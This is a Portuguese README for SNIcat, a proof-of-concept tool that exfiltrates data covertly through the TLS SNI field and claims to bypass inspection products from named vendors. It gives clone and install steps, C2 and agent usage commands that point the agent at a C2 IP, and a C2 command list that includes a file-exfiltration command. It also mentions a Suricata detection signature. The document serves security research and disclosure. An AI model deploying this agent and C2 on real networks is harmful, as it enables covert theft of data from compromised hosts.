
SNIcat é uma ferramenta de prova de conceito que realiza exfiltração de dados, utilizando um método de canal encoberto via Server Name Indication, uma Extensão TLS Client Hello. A ferramenta consiste em um agente que reside no host interno comprometido, e um servidor Comando e Controle que controla o agente e coleta os dados exfiltrados.
A história completa por trás do SNIcat pode ser encontrada em nosso post no blog
O SNIcat foi testado no macOS e em várias distribuições Linux. Embora possa ser facilmente portado, atualmente não há versão para Windows, pois esta é apenas uma ferramenta de PoC (Prova de Conceito).
O método de exfiltração não funciona com proxies explícitos, devido ao uso de HTTP CONNECT, e não TLS Client Hello, ao conectar via um proxy explícito.
O SNIcat pode não funcionar com produtos e versões de software que não testamos, mas isso não significa que os produtos e/ou versões de software não sejam vulneráveis.

Descobrimos um novo método furtivo de exfiltração de dados que especificamente contorna soluções de perímetro de segurança como proxies web, firewalls de próxima geração (NGFW) e soluções dedicadas para interceptação e inspeção TLS. Nossos testes validam que este é um problema generalizado que afeta diferentes tipos de soluções de segurança, bem como soluções de diversos fornecedores. Testamos com sucesso nossa técnica contra produtos da Cisco, F5 Networks, Palo Alto Networks e Fortinet, e especulamos que muitos outros fornecedores também são suscetíveis.
Ao usar nosso método de exfiltração SNIcat, descobrimos que podemos contornar uma solução de perímetro de segurança que realiza inspeção TLS, mesmo quando o domínio de Comando e Controle (C2) que usamos é bloqueado por recursos comuns de reputação e prevenção de ameaças embutidos nas próprias soluções de segurança. Em resumo, descobrimos que soluções projetadas para proteger os usuários os introduziram a uma nova vulnerabilidade.
Também fornecemos uma assinatura Suricata para detectar esta ferramenta específica.
Clone o repositório:
https://github.com/mnemonic-no/SNIcat.git
Instale as dependências:
pip3 install -r requirements.txt --user
C2
Adquira um certificado curinga e chave de uma AC publicamente confiável. Isso representa o GOOD_CERT e GOOD_CERT_KEY.
Utilize um certificado autoassinado e chave (não em nenhum repositório de confiança) como BAD_CERT e BAD_CERT_KEY.
(*) USAGE: 'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log={on|off}'
(*) EXAMPLE: 'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'
Agente
(*) USAGE: 'python3 snicat_agent.py <C2_SERVER_IP> <C2_SERVER_PORT> log={on|off}'
(*) Example: 'python3 snicat_agent.py 192.0.2.1 443 log=off'
Comandos disponíveis do C2
LIST - exibe todo o conteúdo na pasta atual
LS - exibe apenas os arquivos na pasta atual
SIZE - exibe o tamanho dos arquivos na pasta atual
LD - exibe todos os diretórios na pasta atual
CB - move para baixo até a pasta raiz - similar a 'cd .. '
CD <folder-id> - move para cima até a pasta especificada
EX <file-id> - exfiltra o arquivo especificado
ALIVE - verifica se o agente está vivo/morto
EXIT - sai do servidor C2